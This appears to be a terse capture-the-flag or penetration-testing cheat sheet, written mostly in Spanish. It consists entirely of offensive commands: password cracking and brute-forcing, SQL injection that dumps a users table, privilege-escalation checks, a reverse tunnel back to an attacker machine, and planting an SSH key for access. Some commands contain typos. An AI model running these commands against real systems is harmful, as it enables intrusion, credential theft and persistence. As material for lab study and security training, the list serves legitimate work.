uname -a → krenel

history

hashcat -m 0 -a 0 file.txt /ruta/wordlist **–show (0=MD5, 1800=sha512)**

getcap -r / 2>/dev/null

/etc/crontab → cronjobs

export PATH=[ruta]:$PATH

/etc/exports –> nfs

showmount -e **ip**

mount -o rw ip:/carpeta

hydra -l user -P /ruta/wordlist [ftp/http]://192.168.1.1

netstat -tunlp

chisel server --port 8090 –reverse → kali

chisel client ip_kali:8090 R:puerto_nuevo _kali:127.0.0.1:puerto_objetivo

python -c 'import pty;pty.spawn("/bin/bash")'

fcrackzip -Dup /ruta/wordlist file.zip

curl -s http://10.10.10.10:9090/v2/_catalog

curl -s http://10.10.10.10:9090/v2/repositorio/tags/list

curl -s http://10.10.10.10:9090/v2/repositorio/manifests/latest

!ssh-keygen -t rsa -b 2048 -N '' -f sshkey -q

put sshkey.pub authorized_keys

sqlmap -u http:// 10.10.10.10/login.php?id=1 --dbs

sqlmap -u http:// 10.10.10.10/login.php?id=1 -D main --tables

sqlmap -u http:// 10.10.10.10/login.php?id=1 -D main -T users –dump

enum4linux -a 10.10.10.10

sshuttle -r user@10.10.10.10 --ssh-cmd "ssh -i id_rsa" -N

wfuzz -c –hc-404,403 -t 10 -w /ruta/wordlist/ http://10.10.10.10/FUZZ

POL VALENTIN SOLÀ